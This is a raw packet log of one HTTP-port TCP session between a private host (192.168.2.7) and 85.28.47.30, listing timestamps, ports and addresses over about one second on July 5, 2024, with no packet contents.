Jul 5, 2024 06:23:09.951548100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951647043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951658010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951668024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951678038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951689005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951697111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951699972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951713085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951723099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951730967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951730967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951740026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951750040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951760054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951770067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951778889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951778889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951782942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951795101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951812029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951812029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951812029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951826096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951838970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951862097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951886892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951937914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.951956987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951976061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951987982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.951997995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.952011108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.952011108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.952034950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035003901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035023928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035033941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035137892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035173893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035185099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035195112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035212994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035223007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035235882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035264969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035377026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035393953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035403967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035418034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035427094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035434008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035445929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035449028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035469055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035470963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035480022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035484076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035496950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035506010 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035506964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035520077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035528898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035536051 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035541058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035553932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035561085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035566092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035578012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035583973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035590887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035602093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035610914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035623074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035626888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035634995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035649061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035665989 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035670042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035682917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035691977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035701990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035703897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035718918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035728931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035737991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035748959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035758018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035758972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035772085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035775900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035784960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035795927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035799026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035808086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035818100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035820007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035829067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035840034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035851002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035852909 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035864115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035864115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035881042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035902977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035914898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035919905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035928011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035934925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035938978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035950899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035950899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035963058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035969973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035974026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035984993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.035986900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.035995960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.036010981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.036031961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.044291973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044312000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044321060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044326067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044332981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044342041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044348955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044358969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044369936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044379950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044390917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044400930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044414043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044431925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044449091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044460058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044473886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044501066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044512033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044531107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044550896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044559002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044569016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044580936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044590950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044601917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044620037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044636011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044646978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044656992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044667959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044680119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044692993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044706106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044718027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044728994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044739962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.044769049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.044811010 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045062065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045074940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045092106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045099974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045104980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045119047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045130968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045142889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045142889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045155048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045166016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045177937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045192003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045200109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045214891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045219898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045233011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045236111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045244932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045255899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045255899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045274019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045299053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045384884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045393944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045404911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045417070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045417070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045428038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045433998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045444965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045455933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045464993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045466900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045480967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045480967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045504093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045526981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045624971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045665026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045748949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045758009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045768023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045779943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045783043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045792103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045798063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045804977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045816898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.045823097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045842886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.045870066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.128978014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.128989935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129000902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129013062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129024982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129035950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129048109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129060030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129107952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129134893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129144907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129157066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129162073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129177094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129185915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129190922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129200935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129201889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129213095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129223108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129230976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129231930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129244089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129254103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129265070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129276037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129287004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129293919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129293919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129293919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129307985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129318953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129329920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129344940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129352093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129362106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129367113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129374027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129398108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129399061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129410982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129420996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129420996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129434109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129443884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129446983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129462957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129472971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129476070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129483938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129494905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129499912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129517078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129518986 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129533052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129544020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129551888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129554033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129570007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129579067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129582882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129595995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129606009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129606962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129618883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129625082 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129632950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129643917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129645109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129656076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129666090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129667997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129678011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129688025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129698038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129702091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129712105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.129720926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129738092 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.129764080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.139806032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139817953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139825106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139877081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139883041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139888048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139898062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139904022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139908075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139913082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139974117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139985085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.139988899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.139997005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140033007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140038013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140048981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140052080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140065908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140074968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140077114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140089035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140093088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140105963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140127897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140149117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140150070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140166998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140177965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140188932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140194893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140199900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140211105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140222073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140229940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140237093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140247107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140254974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140265942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140274048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.140276909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.140289068 CEST	80	49699	85.28.47.30	192.168.2.7
